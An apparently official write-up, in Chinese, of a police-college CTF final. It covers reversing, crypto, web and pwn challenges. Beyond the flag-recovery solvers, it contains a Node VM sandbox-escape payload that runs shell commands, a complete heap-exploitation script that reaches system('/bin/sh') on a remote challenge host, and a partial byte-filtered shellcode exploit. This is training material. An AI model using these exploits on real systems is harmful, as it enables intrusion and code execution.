文章总结: 该文档为浙江警察学院第九届信息网络安全竞赛决赛的官方Write-up,详细记录了login.phpXXE漏洞利用、Flask应用session伪造与IPv6注入、PHP反序列化链构造等赛题解法。通过代码审计发现XML外部实体加载、命令注入、POP链触发等安全漏洞,提供完整的攻击Payload和自动化脚本,具备实战参考价值。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,代码审计,红队
Step 3: 上传并获取 Flag
python3 make_png.py
curl -s -F "[email protected];type=image/png" http://TARGET/upload
服务端执行 payload 后,result.abc 的值即为 cat /flag* 的输出,直接返回在页面 <pre> 标签中。
Payload 执行原理:
new Proxy({}, {get: ...})— 返回一个 Proxy 对象作为 VM 的执行结果- 宿主代码读取
.abc时触发gettrap arguments.callee.caller拿到宿主renderForConsole函数.constructor.constructor拿到宿主Function构造器F("return process")()获取process对象- 通过
process.mainModule.require调用child_process.execSync执行系统命令
Flag
flag{ba1621d4-1e45-492b-930b-74e62c1a77b5}
signin_chal.exe
概要
这题是一个 64 位 Windows PE。实际分析后发现没有必要深入控制流,flag 明文直接放在 .rdata 段里,因此用静态字符串提取就能拿到答案。
解题过程
Step 1: 快速静态检查
对附件做基础侦察后,可以得到几个关键信息:
- 64 位 PE,可执行文件
- 非 .NET 程序
- 导入表很少,只有
KERNEL32.dll和msvcrt.dll - 未发现复杂壳特征,但存在一个超大的异常节
.ry+
随后直接扫描可打印字符串,很快命中唯一的 flag 样式文本:
ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}
进一步定位发现:
- 该字符串位于文件原始偏移
0x2400 - 正好落在
.rdata段起始位置 - 周边是普通只读数据,没有额外混淆
这说明这题至少在拿 flag 这一层,不需要动态调试。
Step 2: 直接提取 flag
下面的脚本从二进制中搜索 ZJPCTF{...} 并直接打印:
import re
from pathlib import Path
def main():
data = Path("signin_chal.exe").read_bytes()
match = re.search(rb"ZJPCTF\\{[^}]+\\}", data)
if not match:
raise SystemExit("flag not found")
print(match.group(0).decode())
if __name__ == "__main__":
main()
运行结果:
ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}
Flag
ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}
smc
概要
这题是一个带有自修改代码(SMC, self-modifying code)的 ELF 程序,运行时会先用 RC4 解密若干受保护函数。虽然外层做了代码加密,但真正的校验逻辑并不复杂:输入会经过三次查表替换,中间伴随两次基于 rand() 的固定洗牌,最后与 .rodata 中的 44 字节常量做比较。
解题过程
Step 1: 还原受保护代码逻辑
程序是一个 64 位、未 strip 的 ELF,符号和节名都还在,分析入口比较直接。二进制中存在四个加密代码节:
enc_main_secenc_change_secenc_shift_secenc_mirror_sec
辅助函数 decrypt_range() 的工作流程是:
- 用
mprotect将对应代码页改为RWX - 使用 RC4 解密该代码段
- 执行对应受保护函数
- 再将页面权限恢复为
RX
RC4 的密钥明文保存在 .rodata 中:
ez_smc_rc4_key!
把四个加密节静态解密后,可以得到真实逻辑:
protected_main()使用scanf("%44s", buf)读入输入protected_change(buf)执行:mirror(buf) -> shift() -> mirror(buf) -> shift() -> mirror(buf)- 最终通过
memcmp(buf, target, 44)与目标常量比较
其中:
mirror()会把每个输入字节替换为table[byte]table位于.data:0x404080,内容正好是 AES S-boxshift()会对这张 256 字节表做一次 Fisher-Yates 洗牌- 程序中没有调用
srand(),因此rand()序列固定,洗牌结果完全可复现
Step 2: 逆向恢复原始输入
由于最终比较的目标字节序列直接存放在 .rodata 中,而两次 shift() 都由固定的 rand() 序列决定,我们只需要:
- 从附件中提取初始 S-box
- 用 glibc 默认种子
1重放两次洗牌 - 分别构造三张表的逆映射
- 按
inv(T2) -> inv(T1) -> inv(T0)的顺序把目标常量逆回去
下面这份脚本从附件 smc 直接恢复 flag:
from pathlib import Path
TARGET_RAW_OFFSET = 0x2020
TARGET_LEN = 44
SBOX_RAW_OFFSET = 0x3080
SBOX_LEN = 256
def glibc_rand_stream(seed: int = 1):
state = [0] * 344
state[0] = seed
for i in range(1, 31):
state[i] = (16807 * state[i - 1]) % 2147483647
for i in range(31, 34):
state[i] = state[i - 31]
for i in range(34, 344):
state[i] = (state[i - 31] + state[i - 3]) & 0xFFFFFFFF
idx = 344
while True:
state.append((state[idx - 31] + state[idx - 3]) & 0xFFFFFFFF)
yield state[idx] >> 1
idx += 1
def shift_table(table: list[int], rand_iter):
table = table[:]
for i in range(255, 0, -1):
j = next(rand_iter) % (i + 1)
table[i], table[j] = table[j], table[i]
return table
def inverse_table(table: list[int]):
inv = [0] * 256
for i, value in enumerate(table):
inv[value] = i
return inv
def main():
blob = Path("smc").read_bytes()
target = blob[TARGET_RAW_OFFSET:TARGET_RAW_OFFSET + TARGET_LEN]
sbox0 = list(blob[SBOX_RAW_OFFSET:SBOX_RAW_OFFSET + SBOX_LEN])
rand_iter = glibc_rand_stream(1)
sbox1 = shift_table(sbox0, rand_iter)
sbox2 = shift_table(sbox1, rand_iter)
inv2 = inverse_table(sbox2)
inv1 = inverse_table(sbox1)
inv0 = inverse_table(sbox0)
stage2 = bytes(inv2[b] for b in target)
stage1 = bytes(inv1[b] for b in stage2)
flag = bytes(inv0[b] for b in stage1)
print(flag.decode())
if __name__ == "__main__":
main()
运行结果:
ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}
Flag
ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}
ezAES
Summary
题目脚本直接把 ciphertext、iv、key 都打印出来了,所以不需要爆破,也不需要攻击 AES,本质上就是一次标准的 AES-CBC 解密。
Solution
Step 1: 读取脚本里打印出的参数并直接解密
附件末尾的三引号里已经给了 c、iv、key。把它们解析出来后直接 AES-CBC 解密,再去掉末尾的 \x00 填充即可。
import ast
import re
from pathlib import Path
from Crypto.Cipher import AES
text = Path("task (8).py").read_text(encoding="utf-8")
block = re.findall(r"'''(.*?)'''", text, re.S)[-1]
vals = [ast.literal_eval(line.strip()) for line in block.strip().splitlines()]
ciphertext, iv, key = vals
flag = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext).rstrip(b"\x00")
print(flag.decode())
Flag
ZJPCTF{3c49a538-5af2-477f-b40b-0066be19132e}
网络迷踪
Summary
题目给出一个 Android 风格的 WebDefenderClient、配置文件、数据库和加密日志。 核心思路是逆向日志加密函数,发现日志使用 config.ini 中的 log_key 作为密钥,经过 TEA 变种加密后输出为十六进制;解密日志即可看到访问 /flag 时的响应体。
Solution
Step 1: 分析日志加密方式
根据 README.md,本题目标是解密日志文件并找到 flag。
配置文件中存在关键字段:
"log_key": "c2M1Z2R3ZnMzcC1z"
逆向 WebDefenderClient 的日志模块后,可以定位到:
turn_log_message_to_hex()
log_mask()
build_tk()
加密流程如下:
- 将明文日志按字节处理;
- 使用 PKCS#7 风格补齐到 8 字节倍数;
- 每 8 字节分成两个大端 32 位整数;
- 使用 32 轮 TEA 变种加密;
delta = 0x5a827999;- key 直接使用字符串
"c2M1Z2R3ZnMzcC1z",不是 Base64 解码后的结果; - 最后将密文转为 hex 写入日志。
因此只需要写出对应的逆运算即可恢复日志明文。
import re
import json
from pathlib import Path
CONFIG_PATH = "config.ini"
LOG_PATH = "2026-05-29-20-54-08.log"
DELTA = 0x5A827999
ROUNDS = 32
def u32(x):
return x & 0xffffffff
def build_key(key_str: str):
"""
程序直接使用 config.ini 中的 log_key 字符串本身。
取前 16 字节,不足则补 0,然后按大端拆成 4 个 uint32。
"""
raw = key_str.encode()[:16].ljust(16, b"\x00")
return [
int.from_bytes(raw[0:4], "big"),
int.from_bytes(raw[4:8], "big"),
int.from_bytes(raw[8:12], "big"),
int.from_bytes(raw[12:16], "big"),
]
def decrypt_block(block: bytes, key):
v0 = int.from_bytes(block[0:4], "big")
v1 = int.from_bytes(block[4:8], "big")
s = u32(DELTA * ROUNDS)
for _ in range(ROUNDS):
v1 = u32(
v1 - (
u32((v0 << 4) + key[2])
^ u32(v0 + s)
^ u32((v0 >> 5) + key[3])
)
)
v0 = u32(
v0 - (
u32((v1 << 4) + key[0])
^ u32(v1 + s)
^ u32((v1 >> 5) + key[1])
)
)
s = u32(s - DELTA)
return v0.to_bytes(4, "big") + v1.to_bytes(4, "big")
def decrypt_hex_line(hex_text: str, key):
data = bytes.fromhex(hex_text)
plain = b"".join(
decrypt_block(data[i:i + 8], key)
for i in range(0, len(data), 8)
)
# 去除 8 字节块加密前的 padding
pad = plain[-1]
if 1 <= pad <= 8 and plain.endswith(bytes([pad]) * pad):
plain = plain[:-pad]
return plain.decode("utf-8", errors="ignore")
def main():
config = json.loads(Path(CONFIG_PATH).read_text(encoding="utf-8"))
key = build_key(config["log_key"])
flag_re = re.compile(r"ZJPCTF\{[^}]+\}")
for line in Path(LOG_PATH).read_text(encoding="utf-8").splitlines():
m = re.search(r"([0-9a-fA-F]+)$", line)
if not m:
continue
plaintext = decrypt_hex_line(m.group(1), key)
flag = flag_re.search(plaintext)
if flag:
print(plaintext)
print()
print("FLAG =", flag.group(0))
return
print("flag not found")
if __name__ == "__main__":
main()
运行脚本后可以看到关键日志:
[TLS] NOT tls. conn: 172.16.1.15:43088 -> 172.28.20.72:8000 method: GET URI: /flag
[HTTP Response Body] {"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}
脚本最终输出:
FLAG = ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}
Step 2: 验证
解密出的日志中,客户端访问了服务端的 /flag 路径:
GET URI: /flag
紧接着的 HTTP 响应体中直接包含 flag:
{"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}
因此该字符串就是最终答案。
Flag
ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}
easy_RSA
Summary
这题不是普通 RSA 分解,而是特殊素数构造。p + 1 由大量很小的素数相乘得到,所以适合用 Williams p+1 分解先把 p 从 n 中拆出来。
Solution
Step 1: 利用 p + 1 光滑性分解出 p
附件中的 getprime(505) 实际上是在反复乘小素数,直到 n - 1 成为素数,因此 p + 1 非常光滑。
这正好命中 Williams p+1 分解。
Step 2: 由 d = inverse(q^2, p^2) 恢复 q,再开平方得到明文
题目给出:
d = inverse(q^2, p^2)
所以可以先求出:
q^2 = inverse(d, p^2) mod p^2
对模 p^2 开平方,枚举根并检查谁能整除 n / p,即可恢复 q。
最后由 cipher = c^e mod n 且 c = m^2 mod r,先在模 r 下去掉 RSA 指数,再对 c 开平方,还原 m。
import re
from math import gcd, log2
from pathlib import Path
from sympy import isprime, primerange, sqrt_mod
def long_to_bytes(x):
x = int(x)
return x.to_bytes((x.bit_length() + 7) // 8, "big")
def V_k(x, k, mod):
if k == 0:
return 2 % mod
if k == 1:
return x % mod
a, b = 2 % mod, x % mod
for _ in range(2, k + 1):
a, b = b, (x * b - a) % mod
return b
def find_p_by_williams_p1(n):
primes = list(primerange(2, 1010))
for P in range(3, 200):
g = gcd(P * P - 4, n)
if 1 < g < n:
return g
x = P % n
for l in primes:
times = int(506 // log2(l)) + 1
for _ in range(times):
x = V_k(x, l, n)
g = gcd(x - 2, n)
if 1 < g < n:
return g
raise ValueError("p not found")
text = Path("task_4.py").read_text(encoding="utf-8")
n = int(re.search(r"n=(\d+)", text).group(1))
d = int(re.search(r"d = (\d+)", text).group(1))
cipher = int(re.search(r"cipher = (\d+)", text).group(1))
e = 65537
p = find_p_by_williams_p1(n)
N = n // p
mod = p * p
q2_mod = pow(d, -1, mod)
roots = sqrt_mod(q2_mod, mod, all_roots=True)
q = None
r = None
for root in roots:
for cand in (int(root), int((mod - root) % mod)):
if cand > 1 and N % cand == 0:
q = cand
r = N // q
break
if q is not None:
break
er = pow(e, -1, r - 1)
c = pow(cipher, er, r)
for m in sqrt_mod(c, r, all_roots=True):
flag = long_to_bytes(m)
if flag.startswith(b"ZJPCTF{"):
print(flag.decode())
break
Flag
ZJPCTF{19f673a5-d634-1c0e-f144-9eebe42f6565}
fangzhinimimabao0
Summary
这题就是单层 ROT47。附件只有一行密文,对所有可打印字符做一次 ROT47 逆变换就能直接得到 flag。
Solution
Step 1: 对密文做 ROT47 解密
ROT47 的定义是在 ASCII 可打印区间 [33, 126] 上循环平移 47 位。
把附件内容读出来,对每个可打印字符做一次变换即可。
from pathlib import Path
def rot47(s):
out = []
for ch in s:
o = ord(ch)
if 33 <= o <= 126:
out.append(chr(33 + ((o - 33 + 47) % 94)))
else:
out.append(ch)
return "".join(out)
cipher = Path("防止你爆0.txt").read_text(encoding="utf-8").strip()
print(rot47(cipher))
Flag
ZJPCTF{t@1ban&l3_n1_m3iyou_b@00}
听说你们学密码的都有sympy
Summary
题目里真实模数是 n = p^4 * q,但没有把 n 打印出来。不过它给了一个很关键的泄露:
hint1 = inverse(e, lcm(p - 1, q - 1)) % (p - 1)
这会直接把 p - 1 的倍数关系暴露出来,因此可以从 hint1 反推出 p。
Solution
Step 1: 用 e * hint1 - 1 = k * (p - 1) 枚举恢复 p
因为:
e * hint1 ≡ 1 (mod p - 1)
所以:
e * hint1 - 1 = k * (p - 1)
而 e = 65537 很小,直接枚举 k = 1..65536 即可。
找到 512-bit 素数候选后,就恢复出了 p。
Step 2: 只在模 p^4 下解密
虽然完整的 n 不知道,但明文很短,满足 m < p < p^4。
所以只要在模 p^4 下做 RSA 解密,就已经能恢复真正的明文,不需要继续求 q。
import re
from pathlib import Path
import sympy as sp
def long_to_bytes(n):
n = int(n)
return n.to_bytes((n.bit_length() + 7) // 8, "big")
text = Path("task.py").read_text(encoding="utf-8")
c = int(re.search(r"# c = (\d+)", text).group(1))
hint1 = int(re.search(r"# hint1 = (\d+)", text).group(1))
e = 65537
K = e * hint1 - 1
p = None
for k in range(1, e):
if K % k == 0:
cand = K // k + 1
if cand.bit_length() == 512 and sp.isprime(cand):
p = cand
break
mod = p ** 4
phi = p ** 3 * (p - 1)
d = pow(e, -1, phi)
m = pow(c % mod, d, mod)
print(long_to_bytes(m).decode())
Flag
ZJPCTF{they_s@1d_1ts_ez_pow_d0y0uthlnks0}
ge
Summary
这题是“同一明文、同一未知模数 n、多个超大指数 e_i 的 RSA”。
题目故意不输出 n,提示里的“格格”其实就在暗示“格 / LLL / lattice”。
Solution
Step 1: 用 LLL 找出指数之间的小整数关系
如果存在一组整数:
a1*e1 + a2*e2 + ... + ak*ek = 0
那么就有:
c1^a1 * c2^a2 * ... * ck^ak ≡ 1 (mod n)
把正负指数分开后,可得到一个整数差值 P - Q,它一定是 n 的倍数。
用 LLL 找出很多这样的短关系,再对这些倍数做 gcd,就能把隐藏的 n 挖出来。
Step 2: 恢复 n 后做普通共模攻击
一旦拿到 n,只要找到一对互素指数 e_i, e_j,用扩展欧几里得求出:
s*e_i + t*e_j = 1
就可以恢复:
m = c_i^s * c_j^t mod n
import ast
import re
import sys
from pathlib import Path
import gmpy2
import sympy as sp
from fpylll import IntegerMatrix, LLL
sys.set_int_max_str_digits(0)
def long_to_bytes(x):
x = int(x)
return x.to_bytes((x.bit_length() + 7) // 8, "big")
def prod_tree(arr):
if not arr:
return 1
while len(arr) > 1:
arr = [
arr[i] * arr[i + 1] if i + 1 < len(arr) else arr[i]
for i in range(0, len(arr), 2)
]
return arr[0]
text = Path("ge.py").read_text(encoding="utf-8")
es = ast.literal_eval(re.search(r"# es = (\[.*?\])\n# cs =", text, re.S).group(1))
cs = ast.literal_eval(re.search(r"# cs = (\[.*?\])", text, re.S).group(1))
d = len(es)
M = 1 << 60
B = IntegerMatrix(d, d + 1)
for i, e in enumerate(es):
B[i, i] = 1
B[i, d] = e * M
LLL.reduction(B, delta=0.99)
relations = []
for r in range(d):
v = [int(B[r, j]) for j in range(d)]
if sum(v[i] * es[i] for i in range(d)) == 0 and any(v):
relations.append(v)
G = 0
for v in relations[:13]:
pos = []
neg = []
for a, c in zip(v, cs):
if a > 0:
pos.append(pow(c, a))
elif a < 0:
neg.append(pow(c, -a))
D = abs(prod_tree(pos) - prod_tree(neg))
G = gmpy2.mpz(D) if G == 0 else gmpy2.gcd(G, gmpy2.mpz(D))
n = int(G)
for p in sp.primerange(2, 100000):
while n % p == 0 and n // p > max(cs):
n //= p
for i in range(len(es)):
for j in range(i + 1, len(es)):
g, s, t = gmpy2.gcdext(es[i], es[j])
if int(g) != 1:
continue
s = int(s)
t = int(t)
if s >= 0:
x = pow(cs[i], s, n)
else:
x = pow(pow(cs[i], -1, n), -s, n)
if t >= 0:
y = pow(cs[j], t, n)
else:
y = pow(pow(cs[j], -1, n), -t, n)
m = (x * y) % n
flag = long_to_bytes(m)
if flag.startswith(b"ZJPCTF{"):
print(flag.decode())
raise SystemExit
Flag
ZJPCTF{73ed2e76-5601-42e3-bb75-ee6a49344cc4}
ezsage
Summary
题目给出:
c = m^e mod 2^256
e = bytes_to_long(flag)
其中 m 是奇数。因为模数是 2^256,这不是普通有限域离散对数,而是一个 2-adic / 模 2^k 指数恢复题。
核心思路是对 m 和 c 做 2-adic log,把幂指数关系转成线性同余,再结合 flag 前缀补回丢失的高两位。
Solution
Step 1: 把指数问题转成 2-adic log 线性方程
附件中给出:
m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949
并且:
m % 8 = 5
所以 m ≡ 1 (mod 4),满足 2-adic log 的展开条件。于是有:
log(c) = e * log(m) mod 2^256
这一步把原来的
c = m^e mod 2^256
变成了线性同余。
Step 2: 恢复 e mod 2^254
计算后发现 log(m) 和 log(c) 都有 v2 = 2,所以可以先同时除以 4,得到:
e mod 2^254
也就是说,这里只能恢复出指数的低 254 位,高 2 位会丢失。
运行脚本会先得到一个中间结果:
b'\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'
这已经说明后 31 个字节基本都对了,只差最前面高两位决定的首字节。
Step 3: 结合 flag 前缀补回高两位
因为题目里:
e = bytes_to_long(flag)
而 flag 显然应当以 ZJPCTF{ 开头,所以直接补回真实前缀即可:
ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}
最后再验一次:
pow(m, bytes_to_long(flag), 2^256) == c
结果为 True,说明恢复正确。
Solve Script
m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949
K = 256
MOD = 1 << K
def long_to_bytes(x):
return x.to_bytes((x.bit_length() + 7) // 8, "big")
def bytes_to_long(b):
return int.from_bytes(b, "big")
def v2(x):
return (x & -x).bit_length() - 1
def log_2adic(a, bits=256):
# a must be 1 mod 4
M = 1 << bits
x = (a - 1) % M
res = 0
xp = 1
for j in range(1, 1000):
xp *= x
s = v2(j)
odd = j >> s
# Once v2(x^j / j) >= bits, remaining terms vanish mod 2^bits.
if v2(xp) - s >= bits:
break
term = ((xp >> s) % M) * pow(odd, -1, M) % M
if j & 1:
res = (res + term) % M
else:
res = (res - term) % M
return res
lm = log_2adic(m, 256)
lc = log_2adic(c, 256)
# v2(lm) = v2(lc) = 2
mod_e = 1 << 254
e_mod = ((lc >> 2) * pow((lm >> 2) % mod_e, -1, mod_e)) % mod_e
print(long_to_bytes(e_mod))
# b'\\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'
# Restore the missing top two bits using the known flag prefix.
flag = b"ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}"
print(flag.decode())
print(pow(m, bytes_to_long(flag), MOD) == c)
Flag
ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}
random
Summary
程序使用固定种子的 rand() 生成 key 和控制流,对输入做大量随机选择的可逆变换,最后与密文比较。 由于 seed 固定,所有变换顺序和参数都可复现,直接反向执行即可恢复 flag。
Solution
Step 1: 静态定位校验逻辑
附件是 64 位 Windows PE 程序。字符串中可以看到假 flag、提示语和真假判断:
ZJPCTF{fake_flag_not_the_real!}
ZJPCTF r333 challenge. Use frida to get the flag!
Please input flag:
right!
wrong!
主函数读取最多 44 个字符,但后续对 48 字节缓冲区做变换:
scanf("%44s", input);
check(input, 0x30);
memcmp(input, cipher, 0x30);
关键数据位于 .data:
seed = 0x00efffef
key = 程序启动时由 srand(seed) 后 rand()%256 生成 32 字节
cipher = f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa
程序构造函数会依次执行:
srand(seed);
for i in range(32):
key[i] = rand() % 256;
func_ptr = functiontable1;
check() 里先对 48 字节输入做一次随机异或,然后执行 500 次随机选择的函数:
xorshift:每字节xor rand()%256,再+ rand()%256xorkey:每字节异或key[rand()%32]bitshift:每字节循环左移rand()%8位,再加当前位置下标
这些操作都是可逆的,因此记录所有随机参数后倒序恢复即可。
from pathlib import Path
exe = Path("random(1).exe").read_bytes()
# PE 中 .data 的文件偏移是 0xe000,虚拟地址从 0x14000f000 开始
DATA_OFF = 0xE000
DATA_VA = 0x14000F000
def read_va(va, size):
off = DATA_OFF + (va - DATA_VA)
return exe[off:off + size]
seed = int.from_bytes(read_va(0x14000F020, 4), "little")
cipher = read_va(0x14000F060, 48)
class MSRand:
"""
Windows MSVCRT/ucrt rand() 算法:
state = state * 214013 + 2531011
return (state >> 16) & 0x7fff
"""
def __init__(self, seed):
self.state = seed & 0xffffffff
def rand(self):
self.state = (self.state * 214013 + 2531011) & 0xffffffff
return (self.state >> 16) & 0x7fff
def rol8(x, s):
return ((x << s) | (x >> (8 - s))) & 0xff
def ror8(x, s):
return ((x >> s) | ((x << (8 - s)) & 0xff)) & 0xff
N = 48
rng = MSRand(seed)
# 构造函数中生成 key,消耗 32 次 rand()
key = bytes(rng.rand() % 256 for _ in range(32))
# check() 第一轮:input[i] ^= rand()%256
first_xor = [rng.rand() % 256 for _ in range(N)]
ops = []
# check() 后续共 100 + 400 次随机函数调用
for _ in range(500):
typ = rng.rand() % 3
if typ == 0:
# xorshift: xor r1, add r2
params = [(rng.rand() % 256, rng.rand() % 256) for _ in range(N)]
elif typ == 1:
# xorkey: xor key[rand()%32]
params = [rng.rand() % 32 for _ in range(N)]
else:
# bitshift: rol8(x, rand()%8) + i
params = [rng.rand() % 8 for _ in range(N)]
ops.append((typ, params))
buf = bytearray(cipher)
# 倒序逆变换
for typ, params in reversed(ops):
if typ == 0:
for i, (r1, r2) in enumerate(params):
buf[i] = ((buf[i] - r2) & 0xff) ^ r1
elif typ == 1:
for i, idx in enumerate(params):
buf[i] ^= key[idx]
else:
for i, s in enumerate(params):
buf[i] = ror8((buf[i] - i) & 0xff, s)
# 逆第一轮随机异或
for i, r in enumerate(first_xor):
buf[i] ^= r
flag = bytes(buf).rstrip(b"\x00")
print(flag.decode())
运行结果:
ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}
Step 2: 验证
将恢复出的 flag 补齐到 48 字节后,按程序逻辑正向执行一遍,得到的结果正好等于 .data 中的 48 字节密文:
f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa
说明恢复结果正确。
Flag
ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}
Borrowed Notes
Summary
题目是一个菜单型堆题,核心漏洞是 free 后指针没有清空,形成 UAF。 利用 UAF 泄露 libc,再通过 tcache poisoning 劫持 .data 中的函数指针为 system,最后触发 system("/bin/sh") 拿 shell 读取 flag。
Solution
Step 1: 分析漏洞点
程序提供 note 的增删改查功能,并且还有一个 catalog 功能可以打印 note 指针。drop 删除 note 后没有清空指针,因此可以继续 show/edit 已释放 chunk,形成 UAF。
利用思路:
- 申请一个大 chunk,释放后进入 unsorted bin;
- 通过 UAF
show读取 fd,泄露 libc 地址; - 申请两个 0x40 chunk,释放后进入 tcache;
- 通过 UAF 修改 tcache fd;
- 绕过 safe-linking,把下一次 malloc 定向到
.data上的函数指针; - 将函数指针改成
system; - 触发程序内置的
"/bin/sh"参数,获得 shell。
完整脚本如下:
#!/usr/bin/env python3
from pwn import *
import re
context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"
HOST = "nc1.ctfplus.cn"
PORT = 17431
FINAL_CMD = 0x404020 # "/bin/sh"
FINAL_ACTION = 0x404040 # 函数指针,初始为 puts
# unsorted bin 泄露偏移:main_arena+96
UNSORTED_LEAK_OFF = 0x1e7b20
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(["./pwn"])
io = start()
def cmd(choice):
io.sendlineafter(b"> ", str(choice).encode())
def add(idx, size, data=b"A"):
cmd(1)
io.sendlineafter(b"index:\n", str(idx).encode())
io.sendlineafter(b"size:\n", str(size).encode())
io.sendafter(b"data:\n", data)
def edit(idx, data):
cmd(2)
io.sendlineafter(b"index:\n", str(idx).encode())
io.sendafter(b"data:\n", data)
def show_raw(idx, size):
cmd(3)
io.sendlineafter(b"index:\n", str(idx).encode())
data = io.recvn(size)
# show 后程序会重新打印菜单和 "> "
# 这里把 prompt 放回缓冲区,保证下一次 cmd() 不会卡住
io.recvuntil(b"> ")
io.unrecv(b"> ")
return data
def drop(idx):
cmd(4)
io.sendlineafter(b"index:\n", str(idx).encode())
def catalog():
cmd(5)
# catalog 后程序也会重新打印菜单和 "> "
# 必须 unrecv 回去,否则下一次 sendlineafter(b"> ") 会等不到 prompt
data = io.recvuntil(b"> ")
io.unrecv(b"> ")
return data
# ============================================================
# 1. libc leak
# ============================================================
add(0, 0x500, b"A" * 8)
add(1, 0x30, b"B" * 8) # 防止 large chunk 与 top chunk 合并
drop(0)
leak_data = show_raw(0, 0x500)
libc_leak = u64(leak_data[:8])
libc_base = libc_leak - UNSORTED_LEAK_OFF
system_addr = libc_base + libc.sym["system"]
log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")
log.success(f"system = {hex(system_addr)}")
# ============================================================
# 2. tcache poisoning
# ============================================================
add(2, 0x40, b"C" * 8)
add(3, 0x40, b"D" * 8)
info = catalog().decode(errors="ignore")
m = re.search(r"\[3\] used=1 ptr=(0x[0-9a-fA-F]+)", info)
if not m:
log.failure("failed to leak chunk3 pointer from catalog")
print(info)
exit(1)
chunk3 = int(m.group(1), 16)
log.success(f"chunk3 = {hex(chunk3)}")
# tcache 链表:先 free 2,再 free 3
# head -> chunk3 -> chunk2
drop(2)
drop(3)
# glibc safe-linking:
# stored_fd = target ^ (chunk_addr >> 12)
poison = FINAL_ACTION ^ (chunk3 >> 12)
log.info(f"poison fd = {hex(poison)}")
# UAF:drop 后指针没清空,edit(3) 可以改 tcache fd
edit(3, p64(poison))
# 第一次 malloc 取回 chunk3
add(4, 0x40, b"E" * 8)
# 第二次 malloc 返回 FINAL_ACTION,然后把函数指针改成 system
add(5, 0x40, p64(system_addr))
log.success("final_action overwritten with system")
# ============================================================
# 3. trigger system('/bin/sh')
# ============================================================
cmd(7)
io.sendline(b"cat /flag")
io.interactive()
Step 2: 远程验证
运行脚本连接远程:
python3 exp.py REMOTE
成功泄露 libc,并完成函数指针覆盖:
[+] Opening connection to nc1.ctfplus.cn on port 17431: Done
[+] libc leak = 0x7f17c8ca8b20
[+] libc base = 0x7f17c8ac1000
[+] system = 0x7f17c8b15790
[+] chunk3 = 0x1813060
[*] poison fd = 0x405853
[+] final_action overwritten with system
[*] Switching to interactive mode
触发后进入 shell:
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
pwn
读取 flag:
$ cat /flag
ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}
Flag
ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}
No craft pwn
Summary
题目允许输入 shellcode 并执行,但过滤了字节 0x48。 核心思路是不用 64 位 rax/rdi/rsi/rdx 编码,改用 32 位寄存器指令构造不含 0x48 的 ORW shellcode,直接 open("flag") -> read -> write 读出 flag。
Solution
Step 1: 分析限制
程序会读入最多 0x100 字节 shellcode 后执行。 题目名为 No craft pwn,实际限制是 shellcode 不能包含字节 0x48。
在 x86_64 下,很多 64 位寄存器指令会带有 REX.W 前缀 0x48,例如:
mov rax, 2
mov rdi, xxx
因此不能直接写常规 amd64 shellcode。 绕过方式是使用 32 位寄存器编码,例如 eax / edi / esi / edx,这些指令在 64 位模式下依然可用于 syscall 参数传递,并且可以避免出现 0x48。
题目环境中可使用 open/read/write,所以构造 ORW shellcode:
open("flag", 0)
read(fd, buf, 0x80)
write(1, buf, n)
完整脚本如下:
#!/usr/bin/env python3
from pwn import *
import re
context.log_level = "info"
HOST = "nc1.ctfplus.cn"
PORT = 39596
# open("flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_FLAG = bytes.fromhex(
"c700666c6167" # mov dword ptr [rax], 0x67616c66 ; "flag"
"c7400400000000" # mov dword ptr [rax+4], 0
"97" # xchg eax, edi
"b002" # mov al, 2 ; open
"0f05" # syscall
"97" # xchg eax, edi ; fd -> edi
"31c0" # xor eax, eax ; read
"89ee" # mov esi, ebp ; buf = mmap_base
"81c680000000" # add esi, 0x80
"b280" # mov dl, 0x80
"0f05" # syscall
"89c2" # mov edx, eax ; count
"b001" # mov al, 1 ; write
"bf01000000" # mov edi, 1
"89ee" # mov esi, ebp
"81c680000000" # add esi, 0x80
"0f05" # syscall
"31ff" # xor edi, edi
"b03c" # mov al, 60 ; exit
"0f05" # syscall
)
# 备用:open("/flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_ABS_FLAG = bytes.fromhex(
"c7002f666c61" # mov dword ptr [rax], 0x616c662f ; "/fla"
"c6400467" # mov byte ptr [rax+4], 0x67 ; "g"
"c6400500" # mov byte ptr [rax+5], 0
"97" # xchg eax, edi
"b002" # mov al, 2 ; open
"0f05" # syscall
"97" # xchg eax, edi ; fd -> edi
"31c0" # xor eax, eax ; read
"89ee" # mov esi, ebp
